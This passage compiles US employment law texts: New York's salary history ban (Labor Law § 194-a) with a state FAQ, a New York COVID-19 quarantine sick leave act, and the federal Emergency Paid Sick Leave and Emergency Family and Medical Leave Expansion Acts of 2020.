2. Nothing in this section shall prevent an applicant or current employee from voluntarily, and without prompting, disclosing or verifying wage or salary history, including but not limited to for the purposes of negotiating wages or salary.
3. An employer may confirm wage or salary history only if at the time an offer of employment with compensation is made, the applicant or current employee responds to the offer by providing prior wage or salary information to support a wage or salary higher than offered by the employer.

4. For the purposes of this section, "employer" shall include but not be limited to any person, corporation, limited liability company, association, labor organization, or entity employing any individual in any occupation, industry, trade, business or service, or any agent thereof. For the purposes of this section, the term "employer" shall also include the state, any political subdivision thereof, any public authority or any other governmental entity or instrumentality thereof, and any person, corporation, limited liability company, association or entity acting as an employment agent, recruiter, or otherwise connecting applicants with employers.

5. An applicant or current or former employee aggrieved by a violation of this section may bring a civil action for compensation for any damages sustained as a result of such violation on behalf of such applicant, employee, or other persons similarly situated in any court of competent jurisdiction. The court may award injunctive relief as well as reasonable attorneys' fees to a plaintiff who prevails in a civil action brought under this paragraph.

6. Nothing in this section shall be deemed to diminish the rights, privileges, or remedies of any applicant or current or former employee under any other law or regulation or under any collective bargaining agreement or employment contract.

7. This section shall not supersede any federal, state or local law enacted prior to the effective date of this section that requires the disclosure or verification of salary history information to determine an employee's compensation.

8. The department shall conduct a public awareness outreach campaign, which shall include making information available on its website, and otherwise informing employers of the provisions of this section.

Credits
(Added L.2019, c. 94, § 1, eff. Jan. 6, 2020.)

McKinney's Labor Law § 194-a, NY LABOR § 194-a
Current through L.2019, chapter 758 and L.2020, chapters 1 to 56, 58 to 142. Some statute sections may be more current, see credits for details.
Salary History Ban - What You Need To Know

May a prospective employer ask an applicant about their current or past salary, compensation or benefits?

No. Effective January 6, 2020, Labor Law Section 194-a prohibits an employer from, either orally or in writing, personally or through an agent (directly or indirectly), asking any information concerning an applicant’s salary history information. This includes compensation and benefits. The law also prohibits an employer from relying on an applicant’s salary history information as a factor in determining whether to interview or offer employment at all or in determining what salary to offer. Please note that additional protections under local laws may also apply.

An employer may ask an applicant for their salary expectations for the position instead of asking what the applicant earned in the past.

Who is an “applicant?”

An “applicant” is someone who took an affirmative step to seek employment with the employer and who is not currently employed with that employer, its
parent company or a subsidiary. This includes part-time, seasonal and temporary workers, regardless of their immigration status.

**Does this law apply to current employees?**

Yes. Employers cannot request prior salary history information from current employees as a condition of being interviewed or considered for a promotion. However, employers may consider information already in their possession for existing employees (i.e. a current employee’s current salary or benefits being paid by that employer). For example, an employer may use an employee’s current salary to calculate a raise but may not ask that employee about pay from other jobs.

**What should an employer do to comply with the new Section 194-a of the Labor Law?**

All employers should review their job applications and related processes and train hiring personnel to ensure compliance. For example, an employer should eliminate questions seeking an applicant’s current or past salary from all job applications, unless required by law. Additionally, an employer may wish to proactively state in job postings that it does not seek salary history information from job applicants.

**May an applicant voluntarily disclose salary history information to a prospective employer?**

Yes. The Labor Law permits an applicant to voluntarily disclose their salary history information to a prospective employer, for example, to justify a higher salary or wage, as long as it is being done without prompting from the prospective employer. If an applicant voluntarily and without prompting discloses salary history information, the prospective employer may factor in that voluntarily disclosed information in determining the salary for that person.
An employer may not, for example, pose an “optional” salary history question on a job application seeking a voluntary response.

**May an employer ask someone other than the employee or applicant about the employee or applicant’s prior salary history?**

No. Employers may not seek or obtain such information from a separate source of the information, such as by asking an applicant’s former employer.

An employer may seek to confirm wage or salary history only if an applicant voluntarily discloses such information. An employer, however, is prohibited from relying on prior salary to justify a pay difference between employees of different or various protected classes who are performing substantially similar work as this violates Section 194 of the Labor Law.

**Is an employer required to provide the pay scale or salary range for a position?**

The Labor Law does not require an employer to post or set a pay scale for an open position. However, collective bargaining agreements may include such requirements.

**Is an applicant protected from retaliation for complaining about a potential violation or refusing to provide their salary history?**

Yes. The Labor Law specifically prohibits an employer from retaliating against an employee for refusing to provide their salary history or complaining about an alleged violation of the Labor Law.

**What should an applicant do if they believe they have been retaliated against for refusing to provide salary history information?**
An applicant who believes that they have been retaliated against should contact the Department of Labor’s Division of Labor Standards: Phone: 888-525-2267 E-mail: LSAsk@labor.ny.gov

May an employer inquire about salary history information required by Federal, State or Local Law?

Yes. However, employers may require salary history information only if it is required pursuant to Federal Law, State or local law in effect as of January 6, 2020, the effective date of Section 194-a of the Labor Law.

Does this law apply to New York City employers or to public employers?

Yes. It applies to all public and private employers in New York State, including New York City and public authorities.

Does this law cover independent contractors?

This law does not apply to bonafide independent contractors, freelance workers or other contract workers unless they are to work through an employment agency.

Does this law apply to jobs based in New York State even if the employer is not based in New York State?

Yes. This law applies to any position that will be based primarily in New York State, even if the interview process takes place virtually, via telephone or in another state.

How is the law enforced and what is an employee’s right of redress?
Individuals believing an employer violated this law may bring a civil court action against such an employer or they may contact the Division of Labor Standards.
AN ACT providing requirements for sick leave and the provision of certain employee benefits when such employee is subject to a mandatory or precautionary order of quarantine or isolation due to COVID-19

The People of the State of New York, represented in Senate and Assembly, do enact as follows:

Section 1. 1. (a) For employers with ten or fewer employees as of January 1, 2020, each employee who is subject to a mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19, shall be provided with unpaid sick leave until the termination of any mandatory or precautionary order of quarantine or isolation due to COVID-19 and any other benefit as provided by any other provision of law. During the period of mandatory or precautionary quarantine or isolation, an employee shall be eligible for paid family leave benefits and benefits due pursuant to disability pursuant to this act. An employer with ten or fewer employees as of January 1, 2020, and that has a net income of greater than one million dollars in the previous tax year, shall provide each employee who is subject to a precautionary or mandatory order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19, at least five days of paid sick leave and unpaid leave until the termination of any mandatory or precautionary order of quarantine or isolation. After such five days of paid sick leave, an employee shall be eligible for paid family leave benefits and benefits due pursuant to disability pursuant to this act.

(b) For employers with between eleven and ninety-nine employees as of January 1, 2020, each employee who is subject to a mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19, shall

EXPLANATION--Matter in italics (underscored) is new; matter in brackets [—] is old law to be omitted.
be provided with at least five days of paid sick leave and unpaid leave until the termination of any mandatory or precautionary order of quarantine or isolation. After such five days of paid sick leave, an employee shall be eligible for paid family leave benefits and benefits due pursuant to disability pursuant to this act.

(c) For employers with one hundred or more employees as of January 1, 2020, each employee who is subject to a mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19, shall be provided with at least fourteen days of paid sick leave during any mandatory or precautionary order of quarantine or isolation.

(d) For public employers, each officer or employee who is subject to a mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19 shall be provided with at least fourteen days of paid sick leave during any mandatory or precautionary order of quarantine or isolation. Each officer or employee shall be compensated at his or her regular rate of pay for those regular work hours during which the officer or employee is absent from work due to a mandatory or precautionary order of quarantine or isolation due to COVID-19. For purposes of this act, "public employer" shall mean the following: (i) the state; (ii) a county, city, town or village; (iii) a school district, board of cooperative educational services, vocational education and extension board or a school district as enumerated in section 1 of chapter 566 of the laws of 1967, as amended; (iv) any governmental entity operating a college or university; (v) a public improvement or special district including police or fire districts; (vi) a public authority, commission or public benefit corporation; or (vii) any other public corporation, agency, instrumentality or unit of government which exercises governmental power under the laws of this state.

(e) Such leave shall be provided without loss of an officer or employee's accrued sick leave.

2. For purposes of this act, "mandatory or precautionary order of quarantine or isolation" shall mean a mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19.

3. Upon return to work following leave taken pursuant to this act, an employee shall be restored by his or her employer to the position of employment held by the employee prior to any leave taken pursuant to this act with the same pay and other terms and conditions of employment. No employer or his or her agent, or the officer or agent of any corporation, partnership, or limited liability company, or any other person, shall discharge, threaten, penalize, or in any other manner discriminate or retaliate against any employee because such employee has taken leave pursuant to this act.

4. An employee shall not receive paid sick leave benefits or any other paid benefits provided by any provisions of this section if the employee is subject to a mandatory or precautionary order of quarantine because the employee has returned to the United States after traveling to a country for which the Centers for Disease Control and Prevention has a level two or three travel health notice and the travel to that country was not taken as part of the employee's employment or at the direction of the employee's employer, and if the employee was provided notice of
the travel health notice and the limitations of this subdivision prior to such travel. Such employee shall be eligible to use accrued leave provided by the employer, or to the extent that such employee does not have accrued leave or sufficient accrued leave, unpaid sick leave shall be provided for the duration of the mandatory or precautionary quarantine or isolation.

5. The commissioner of labor shall have authority to adopt regulations, including emergency regulations, and issue guidance to effectuate any of the provisions of this act. Employers shall comply with regulations promulgated by the commissioner of labor for this purpose which may include, but is not limited to, standards for the use, payment, and employee eligibility of sick leave pursuant to this act.

6. Notwithstanding any other provision of law, and for purposes of this act only, for purposes of article 9 of the workers' compensation law, "disability" shall mean: any inability of an employee to perform the regular duties of his or her employment or the duties of any other employment which his or her employer may offer him or her as a result of a mandatory or precautionary order of quarantine or isolation issued by the state, the department of health, a local board of health, or any government entity duly authorized to issue such order due to COVID-19 and when the employee has exhausted all paid sick leave provided by the employee's employer under this act.

7. Notwithstanding subdivision 1 of section 204 of the workers' compensation law, disability benefits payable pursuant to this act shall be payable on the first day of disability.

8. Notwithstanding any other provision of law, and for purposes of this act only, for purposes of article 9 of the workers' compensation law, "family leave" shall mean: (a) any leave taken by an employee from work when an employee is subject to a mandatory or precautionary order of quarantine or isolation issued by the state, the department of health, a local board of health, or any government entity duly authorized to issue such order due to COVID-19; or (b) to provide care for a minor dependent child of the employee who is subject to a mandatory or precautionary order of quarantine or isolation issued by the state, the department of health, a local board of health, or any government entity duly authorized to issue such order due to COVID-19.

9. Notwithstanding any other provision of law, and for purposes of this act only, for purposes of article 9 of the workers' compensation law, disability and family leave benefits pursuant to this act may be payable concurrently to an eligible employee upon the first full day of an unpaid period of mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, a local board of health, or any government entity duly authorized to issue such order due to COVID-19, provided however, an employee may not collect any benefits that would exceed $840.70 in paid family leave and $2,043.92 in benefits due pursuant to disability per week.

10. Notwithstanding any other provision of law, and for purposes of this act only, for purposes of article 9 of the workers' compensation law, the maximum weekly benefit which the employee is entitled to receive for benefits due pursuant to disability pursuant to subdivision six of this section only shall be the difference between the maximum weekly family leave benefit and such employee's total average weekly wage from each covered employer up to a maximum benefit due pursuant to disability of $2,043.92 per week.

11. Notwithstanding subdivision 7 of section 590, and subdivision 2 of section 607, of the labor law, a claim for benefits under article 18 of
the labor law due to closure of an employer otherwise subject to this section for a reason related to COVID-19 or due to a mandatory order of a government entity duly authorized to issue such order to close such employer otherwise subject to this section, shall not be subject to a waiting period for a claim for benefits pursuant to such title.

12. A mandatory or precautionary order of quarantine or isolation issued by the state, the department of health, a local board of health, or any government entity duly authorized to issue such order due to COVID-19 shall be sufficient proof of disability or proof of need for family leave taken pursuant to this act.

13. The provisions of this act shall not apply in cases where an employee is deemed asymptomatic or has not yet been diagnosed with any medical condition and is physically able to work while under a mandatory or precautionary order of quarantine or isolation, whether through remote access or other similar means.

14. Nothing in this section shall be deemed to impede, infringe, diminish or impair the rights of a public employee or employer under any law, rule, regulation or collectively negotiated agreement, or the rights and benefits which accrue to employees through collective bargaining agreements, or otherwise diminish the integrity of the existing collective bargaining relationship, or to prohibit any personnel action which otherwise would have been taken regardless of any request to use, or utilization of, any leave provided by this act.

15. Notwithstanding any inconsistent provision of law, on or before June 1, 2020, the superintendent of financial services by regulation, in consultation with the director of the state insurance fund and the chair of the workers' compensation board of the state, shall promulgate regulations necessary for the implementation of a risk adjustment pool to be administered directly by the superintendent of financial services, in consultation with the director of the state insurance fund and the chair of the workers' compensation board of the state. "Risk adjustment pool" as used in this subdivision shall mean the process used to stabilize member claims pursuant to this act in order to protect insurers from disproportionate adverse risks. Disproportionate losses of any members of the risk adjustment pool in excess of threshold limits established by the superintendent of financial services of the state may be supported, if required by the superintendent, by other members of such pool including the state insurance fund in a proportion to be determined by the superintendent. Any such support provided by members of the pool shall be fully repaid, including reasonable interest, through a mechanism and period of time to be determined by the superintendent of financial services.

16. (a) The superintendent of financial services, in consultation with the director of the state insurance fund and the chair of the workers' compensation board shall issue two reports assessing the risk adjustment pool required by this act.

(b) On or before January 1, 2022, an initial report shall be provided to the speaker of the assembly, the chair of the assembly ways and means committee and the chair of the assembly labor committee, the temporary president of the senate, the chair of the senate finance committee and the chair of the senate labor committee. Such report shall include: the total number of claims filed pursuant to this section for (i) family leave benefits, and (ii) benefits due to disability, as a result of a mandatory or precautionary order of quarantine or isolation due to COVID-19; the aggregate amount of paid family leave claims and disability claims; the total amount of the claims paid for out of the risk
adjustment pool; the threshold limits established by the department of financial services; and any other information the superintendent of financial services deems necessary to provide to the legislature.

(c) On or before January 1, 2025, a final report shall be provided to the speaker of the assembly, the chair of the assembly ways and means committee and the chair of the assembly labor committee, the temporary president of the senate, the chair of the senate finance committee and the chair of the senate labor committee. Such report shall include the balance of the risk adjustment pool, if any, the total amount collected through the repayment mechanism established by the department of financial services including interest; and any other information the superintendent of financial services deems necessary to provide to the legislature. If there exists a balance in the risk adjustment pool, the final report shall provide a timeline by which repayment will be completed.

17. If at any point while this section shall be in effect the federal government by law or regulation provides sick leave and/or employee benefits for employees related to COVID-19, then the provisions of this section, including, but not limited to, paid sick leave, paid family leave, and benefits due to disability, shall not be available to any employee otherwise subject to the provisions of this section; provided, however, that if the provisions of this section would have provided sick leave and/or employee benefits in excess of the benefits provided by the federal government by law or regulation, then such employee shall be able to claim such additional sick leave and/or employee benefits pursuant to the provisions of this section in an amount that shall be the difference between the benefits available under this section and the benefits available to such employee, if any, as provided by such federal law or regulation.

§ 2. This act shall take effect immediately.
DIVISION E—EMERGENCY PAID SICK LEAVE ACT

SEC. 5101. SHORT TITLE.

This Act may be cited as the “Emergency Paid Sick Leave Act”.

SEC. 5102. PAID SICK TIME REQUIREMENT.

(a) IN GENERAL.—An employer shall provide to each employee employed by the employer paid sick time to the extent that the employee is unable to work (or telework) due to a need for leave because:

(1) The employee is subject to a Federal, State, or local quarantine or isolation order related to COVID–19.
(2) The employee has been advised by a health care provider to self-quarantine due to concerns related to COVID–19.
(3) The employee is experiencing symptoms of COVID–19 and seeking a medical diagnosis.
(4) The employee is caring for an individual who is subject to an order as described in subparagraph (1) or has been advised as described in paragraph (2).
(5) The employee is caring for a son or daughter of such employee if the school or place of care of the son or daughter
has been closed, or the child care provider of such son or daughter is unavailable, due to COVID–19 precautions.

(6) The employee is experiencing any other substantially similar condition specified by the Secretary of Health and Human Services in consultation with the Secretary of the Treasury and the Secretary of Labor.

Except that an employer of an employee who is a health care provider or an emergency responder may elect to exclude such employee from the application of this subsection.

(b) DURATION OF PAID SICK TIME.—

(1) IN GENERAL.—An employee shall be entitled to paid sick time for an amount of hours determined under paragraph (2).

(2) AMOUNT OF HOURS.—The amount of hours of paid sick time to which an employee is entitled shall be as follows:

(A) For full-time employees, 80 hours.

(B) For part-time employees, a number of hours equal to the number of hours that such employee works, on average, over a 2-week period.

(3) CARRYOVER.—Paid sick time under this section shall not carry over from 1 year to the next.

(c) EMPLOYER’S TERMINATION OF PAID SICK TIME.—Paid sick time provided to an employee under this Act shall cease beginning with the employee’s next scheduled workshift immediately following the termination of the need for paid sick time under subsection (a).

(d) PROHIBITION.—An employer may not require, as a condition of providing paid sick time under this Act, that the employee involved search for or find a replacement employee to cover the hours during which the employee is using paid sick time.

(e) USE OF PAID SICK TIME.—

(1) IN GENERAL.—The paid sick time under subsection (a) shall be available for immediate use by the employee for the purposes described in such subsection, regardless of how long the employee has been employed by an employer.

(2) SEQUENCING.—

(A) IN GENERAL.—An employee may first use the paid sick time under subsection (a) for the purposes described in such subsection.

(B) PROHIBITION.—An employer may not require an employee to use other paid leave provided by the employer to the employee before the employee uses the paid sick time under subsection (a).

29 USC 2601 note.

SEC. 5103. NOTICE.

(a) IN GENERAL.—Each employer shall post and keep posted, in conspicuous places on the premises of the employer where notices to employees are customarily posted, a notice, to be prepared or approved by the Secretary of Labor, of the requirements described in this Act.

(b) MODEL NOTICE.—Not later than 7 days after the date of enactment of this Act, the Secretary of Labor shall make publicly available a model of a notice that meets the requirements of subsection (a).

29 USC 2601 note.

SEC. 5104. PROHIBITED ACTS.

It shall be unlawful for any employer to discharge, discipline, or in any other manner discriminate against any employee who—
(1) takes leave in accordance with this Act; and
(2) has filed any complaint or instituted or caused to be instituted any proceeding under or related to this Act (including a proceeding that seeks enforcement of this Act), or has testified or is about to testify in any such proceeding.

SEC. 5105. ENFORCEMENT.

(a) UNPAID SICK LEAVE.—An employer who violates section 5102 shall—

(1) be considered to have failed to pay minimum wages in violation of section 6 of the Fair Labor Standards Act of 1938 (29 U.S.C. 206); and

(2) be subject to the penalties described in sections 16 and 17 of such Act (29 U.S.C. 216; 217) with respect to such violation.

(b) UNLAWFUL TERMINATION.—An employer who willfully violates section 5104 shall—

(1) be considered to be in violation of section 15(a)(3) of the Fair Labor Standards Act of 1938 (29 U.S.C. 215(a)(3)); and

(2) be subject to the penalties described in sections 16 and 17 of such Act (29 U.S.C. 216; 217) with respect to such violation.

SEC. 5106. EMPLOYMENT UNDER MULTI-EMPLOYER BARGAINING AGREEMENTS.

(a) EMPLOYERS.—An employer signatory to a multiemployer collective bargaining agreement may, consistent with its bargaining obligations and its collective bargaining agreement, fulfill its obligations under this Act by making contributions to a multiemployer fund, plan, or program based on the hours of paid sick time each of its employees is entitled to under this Act while working under the multiemployer collective bargaining agreement, provided that the fund, plan, or program enables employees to secure pay from such fund, plan, or program based on hours they have worked under the multiemployer collective bargaining agreement and for the uses specified under section 5102(a).

(b) EMPLOYEES.—Employees who work under a multiemployer collective bargaining agreement into which their employers make contributions as provided in subsection (a) may secure pay from such fund, plan, or program based on hours they have worked under the multiemployer collective bargaining agreement for the uses specified in section 5102(a).

SEC. 5107. RULES OF CONSTRUCTION.

Nothing in this Act shall be construed—

(1) to in any way diminish the rights or benefits that an employee is entitled to under any—

(A) other Federal, State, or local law;
(B) collective bargaining agreement; or
(C) existing employer policy; or

(2) to require financial or other reimbursement to an employee from an employer upon the employee’s termination, resignation, retirement, or other separation from employment for paid sick time under this Act that has not been used by such employee.
SEC. 5108. EFFECTIVE DATE.

This Act, and the requirements under this Act, shall take effect not later than 15 days after the date of enactment of this Act.

SEC. 5109. SUNSET.

This Act, and the requirements under this Act, shall expire on December 31, 2020.

SEC. 5110. DEFINITIONS.

For purposes of the Act:

(1) EMPLOYEE.—The terms “employee” means an individual who is—

(A)(i) an employee, as defined in section 3(e) of the Fair Labor Standards Act of 1938 (29 U.S.C. 203(e)), who is not covered under subparagraph (E) or (F), including such an employee of the Library of Congress, except that a reference in such section to an employer shall be considered to be a reference to an employer described in clauses (i)(I) and (ii) of paragraph (5)(A); or

(ii) an employee of the Government Accountability Office;

(B) a State employee described in section 304(a) of the Government Employee Rights Act of 1991 (42 U.S.C. 2000e–16(a));

(C) a covered employee, as defined in section 101 of the Congressional Accountability Act of 1995 (2 U.S.C. 1301), other than an applicant for employment;

(D) a covered employee, as defined in section 411(c) of title 3, United States Code;

(E) a Federal officer or employee covered under subchapter V of chapter 63 of title 5, United States Code; or

(F) any other individual occupying a position in the civil service (as that term is defined in section 2101(1) of title 5, United States Code).

(2) EMPLOYER.—

(A) IN GENERAL.—The term “employer” means a person who is—

(i)(I) a covered employer, as defined in subparagraph (B), who is not covered under subclause (V);

(ii) an entity employing a State employee described in section 304(a) of the Government Employee Rights Act of 1991;

(III) an employing office, as defined in section 101 of the Congressional Accountability Act of 1995;

(IV) an employing office, as defined in section 411(c) of title 3, United States Code; or

(V) an Executive Agency as defined in section 105 of title 5, United States Code, and including the U.S. Postal Service and the Postal Regulatory Commission; and

(ii) engaged in commerce (including government), or an industry or activity affecting commerce (including government), as defined in subparagraph (B)(iii).

(B) COVERED EMPLOYER.—
(i) IN GENERAL.—In subparagraph (A)(i)(I), the term “covered employer”—
(I) means any person engaged in commerce or in any industry or activity affecting commerce that—
(aa) in the case of a private entity or individual, employs fewer than 500 employees; and
(bb) in the case of a public agency or any other entity that is not a private entity or individual, employs 1 or more employees;
(II) includes—
(aa) includes any person acting directly or indirectly in the interest of an employer in relation to an employee (within the meaning of such phrase in section 3(d) of the Fair Labor Standards Act of 1938 (29 U.S.C. 203(d)); and
(bb) any successor in interest of an employer;
(III) includes any “public agency”, as defined in section 3(x) of the Fair Labor Standards Act of 1938 (29 U.S.C. 203(x)); and
(IV) includes the Government Accountability Office and the Library of Congress.
(ii) PUBLIC AGENCY.—For purposes of clause (i)(IV), a public agency shall be considered to be a person engaged in commerce or in an industry or activity affecting commerce.
(iii) DEFINITIONS.—For purposes of this subparagraph:
(I) COMMERCE.—The terms “commerce” and “industry or activity affecting commerce” means any activity, business, or industry in commerce or in which a labor dispute would hinder or obstruct commerce or the free flow of commerce, and include “commerce” and any “industry affecting commerce”, as defined in paragraphs (1) and (3) of section 501 of the Labor Management Relations Act of 1947 (29 U.S.C. 142 (1) and (3)).
(II) EMPLOYEE.—The term “employee” has the same meaning given such term in section 3(e) of the Fair Labor Standards Act of 1938 (29 U.S.C. 203(e)).
(III) PERSON.—The term “person” has the same meaning given such term in section 3(a) of the Fair Labor Standards Act of 1938 (29 U.S.C. 203(a)).
(3) FLSA TERMS.—The terms “employ” and “State” have the meanings given such terms in section 3 of the Fair Labor Standards Act of 1938 (29 U.S.C. 203).
(4) FMLA TERMS.—The terms “health care provider” and “son or daughter” have the meanings given such terms in section 101 of the Family and Medical Leave Act of 1993 (29 U.S.C. 2611).
(5) PAID SICK TIME.—
(A) IN GENERAL.—The term “paid sick time” means an increment of compensated leave that—
(i) is provided by an employer for use during an absence from employment for a reason described in any paragraph of section 2(a); and

(ii) is calculated based on the employee’s required compensation under subparagraph (B) and the number of hours the employee would otherwise be normally scheduled to work (or the number of hours calculated under subparagraph (C)), except that in no event shall such paid sick time exceed—

(I) $511 per day and $5,110 in the aggregate for a use described in paragraph (1), (2), or (3) of section 5102(a); and

(II) $200 per day and $2,000 in the aggregate for a use described in paragraph (4), (5), or (6) of section 5102(a).

(B) REQUIRED COMPENSATION.—

(i) IN GENERAL.—Subject to subparagraph (A)(ii), the employee’s required compensation under this subparagraph shall be not less than the greater of the following:

(I) The employee’s regular rate of pay (as determined under section 7(e) of the Fair Labor Standards Act of 1938 (29 U.S.C. 207(e)).

(II) The minimum wage rate in effect under section 6(a)(1) of the Fair Labor Standards Act of 1938 (29 U.S.C. 206(a)(1)).

(III) The minimum wage rate in effect for such employee in the applicable State or locality, whichever is greater, in which the employee is employed.

(ii) SPECIAL RULE FOR CARE OF FAMILY MEMBERS.—Subject to subparagraph (A)(ii), with respect to any paid sick time provided for any use described in paragraph (4), (5), or (6) of section 5102(a), the employee’s required compensation under this subparagraph shall be two-thirds of the amount described in clause (B)(i).

(C) VARYING SCHEDULE HOURS CALCULATION.—In the case of a part-time employee described in section 5102(b)(2)(B) whose schedule varies from week to week to such an extent that an employer is unable to determine with certainty the number of hours the employee would have worked if such employee had not taken paid sick time under section 2(a), the employer shall use the following in place of such number:

(i) Subject to clause (ii), a number equal to the average number of hours that the employee was scheduled per day over the 6-month period ending on the date on which the employee takes the paid sick time, including hours for which the employee took leave of any type.

(ii) If the employee did not work over such period, the reasonable expectation of the employee at the time of hiring of the average number of hours per day that the employee would normally be scheduled to work.

(D) GUIDELINES.—Not later than 15 days after the date of the enactment of this Act, the Secretary of Labor
shall issue guidelines to assist employers in calculating the amount of paid sick time under subparagraph (A).

(E) REASONABLE NOTICE.—After the first workday (or portion thereof) an employee receives paid sick time under this Act, an employer may require the employee to follow reasonable notice procedures in order to continue receiving such paid sick time.

SEC. 5111. REGULATORY AUTHORITIES.

The Secretary of Labor shall have the authority to issue regulations for good cause under sections 553(b)(B) and 553(d)(A) of title 5, United States Code—

(1) to exclude certain health care providers and emergency responders from the definition of employee under section 5110(1) including by allowing the employer of such health care providers and emergency responders to opt out;

(2) to exempt small businesses with fewer than 50 employees from the requirements of section 5102(a)(5) when the imposition of such requirements would jeopardize the viability of the business as a going concern; and

(3) as necessary, to carry out the purposes of this Act, including to ensure consistency between this Act and Division C and Division G of the Families First Coronavirus Response Act.
DIVISION C—EMERGENCY FAMILY AND
MEDICAL LEAVE EXPANSION ACT

SEC. 3101. SHORT TITLE.

This Act may be cited as “Emergency Family and Medical Leave Expansion Act”.

SEC. 3102. AMENDMENTS TO THE FAMILY AND MEDICAL LEAVE ACT
OF 1993.

(a) PUBLIC HEALTH EMERGENCY LEAVE.—

(1) IN GENERAL.—Section 102(a)(1) of the Family and Medical Leave Act of 1993 (29 U.S.C. 2612(a)(1)) is amended by adding at the end the following:

“(F) During the period beginning on the date the Emergency Family and Medical Leave Expansion Act takes effect, and ending on December 31, 2020, because of a qualifying need related to a public health emergency in accordance with section 110.”.

(2) PAID LEAVE REQUIREMENT.—Section 102(c) of the Family and Medical Leave Act of 1993 (29 U.S.C. 2612(c)) is amended by striking “under subsection (a)” and inserting “under subsection (a) (other than certain periods of leave under subsection (a)(1)(F))”.

(b) REQUIREMENTS.—Title I of the Family and Medical Leave Act of 1993 (29 U.S.C. 2611 et seq.) is amended by adding at the end the following:

“SEC. 110. PUBLIC HEALTH EMERGENCY LEAVE.

“(a) DEFINITIONS.—The following shall apply with respect to leave under section 102(a)(1)(F):

“(1) APPLICATION OF CERTAIN TERMS.—The definitions in section 101 shall apply, except as follows:

“(A) ELIGIBLE EMPLOYEE.—In lieu of the definition in sections 101(2)(A) and 101(2)(B)(ii), the term ‘eligible employee’ means an employee who has been employed for at least 30 calendar days by the employer with respect to whom leave is requested under section 102(a)(1)(F).

“(B) EMPLOYER THRESHOLD.—Section 101(4)(A)(i) shall be applied by substituting ‘fewer than 500 employees’ for ‘50 or more employees for each working day during each of 20 or more calendar workweeks in the current or preceding calendar year’.

“(2) ADDITIONAL DEFINITIONS.—In addition to the definitions described in paragraph (1), the following definitions shall apply with respect to leave under section 102(a)(1)(F):

“(A) QUALIFYING NEED RELATED TO A PUBLIC HEALTH EMERGENCY.—The term ‘qualifying need related to a public health emergency’, with respect to leave, means the
employee is unable to work (or telework) due to a need for leave to care for the son or daughter under 18 years of age of such employee if the school or place of care has been closed, or the child care provider of such son or daughter is unavailable, due to a public health emergency.

"(B) PUBLIC HEALTH EMERGENCY.—The term 'public health emergency' means an emergency with respect to COVID–19 declared by a Federal, State, or local authority.

"(C) CHILD CARE PROVIDER.—The term 'child care provider' means a provider who receives compensation for providing child care services on a regular basis, including an 'eligible child care provider' (as defined in section 658P of the Child Care and Development Block Grant Act of 1990 (42 U.S.C. 9858n)).

"(D) SCHOOL.—The term 'school' means an 'elementary school' or 'secondary school' as such terms are defined in section 8101 of the Elementary and Secondary Education Act of 1965 (20 U.S.C. 7801).

"(3) REGULATORY AUTHORITIES.—The Secretary of Labor shall have the authority to issue regulations for good cause under sections 553(b)(B) and 553(d)(A) of title 5, United States Code—

"(A) to exclude certain health care providers and emergency responders from the definition of eligible employee under section 110(a)(1)(A); and

"(B) to exempt small businesses with fewer than 50 employees from the requirements of section 102(a)(1)(F) when the imposition of such requirements would jeopardize the viability of the business as a going concern.

"(b) RELATIONSHIP TO PAID LEAVE.—

"(1) UNPAID LEAVE FOR INITIAL 10 DAYS.—

"(A) IN GENERAL.—The first 10 days for which an employee takes leave under section 102(a)(1)(F) may consist of unpaid leave.

"(B) EMPLOYEE ELECTION.—An employee may elect to substitute any accrued vacation leave, personal leave, or medical or sick leave for unpaid leave under section 102(a)(1)(F) in accordance with section 102(d)(2)(B).

"(2) PAID LEAVE FOR SUBSEQUENT DAYS.—

"(A) IN GENERAL.—An employer shall provide paid leave for each day of leave under section 102(a)(1)(F) that an employee takes after taking leave under such section for 10 days.

"(B) CALCULATION.—

"(i) IN GENERAL.—Subject to clause (ii), paid leave under subparagraph (A) for an employee shall be calculated based on—

"(I) an amount that is not less than two-thirds of an employee's regular rate of pay (as determined under section 7(e) of the Fair Labor Standards Act of 1938 (29 U.S.C. 207(e)); and

"(II) the number of hours the employee would otherwise be normally scheduled to work (or the number of hours calculated under subparagraph (C)).
“(ii) **CLARIFICATION.**—In no event shall such paid leave exceed $200 per day and $10,000 in the aggregate.

“(C) **VARYING SCHEDULE HOURS CALCULATION.**—In the case of an employee whose schedule varies from week to week to such an extent that an employer is unable to determine with certainty the number of hours the employee would have worked if such employee had not taken leave under section 102(a)(1)(F), the employer shall use the following in place of such number:

“(i) Subject to clause (ii), a number equal to the average number of hours that the employee was scheduled per day over the 6-month period ending on the date on which the employee takes such leave, including hours for which the employee took leave of any type.

“(ii) If the employee did not work over such period, the reasonable expectation of the employee at the time of hiring of the average number of hours per day that the employee would normally be scheduled to work.

“(c) **NOTICE.**—In any case where the necessity for leave under section 102(a)(1)(F) for the purpose described in subsection (a)(2)(A)(iii) is foreseeable, an employee shall provide the employer with such notice of leave as is practicable.

“(d) **RESTORATION TO POSITION.**—

“(1) **IN GENERAL.**—Section 104(a)(1) shall not apply with respect to an employee of an employer who employs fewer than 25 employees if the conditions described in paragraph (2) are met.

“(2) **CONDITIONS.**—The conditions described in this paragraph are the following:

“(A) The employee takes leave under section 102(a)(1)(F).

“(B) The position held by the employee when the leave commenced does not exist due to economic conditions or other changes in operating conditions of the employer—

“(i) that affect employment; and

“(ii) are caused by a public health emergency during the period of leave.

“(C) The employer makes reasonable efforts to restore the employee to a position equivalent to the position the employee held when the leave commenced, with equivalent employment benefits, pay, and other terms and conditions of employment.

“(D) If the reasonable efforts of the employer under subparagraph (C) fail, the employer makes reasonable efforts during the period described in paragraph (3) to contact the employee if an equivalent position described in subparagraph (C) becomes available.

“(3) **CONTACT PERIOD.**—The period described under this paragraph is the 1-year period beginning on the earlier of—

“(A) the date on which the qualifying need related to a public health emergency concludes; or

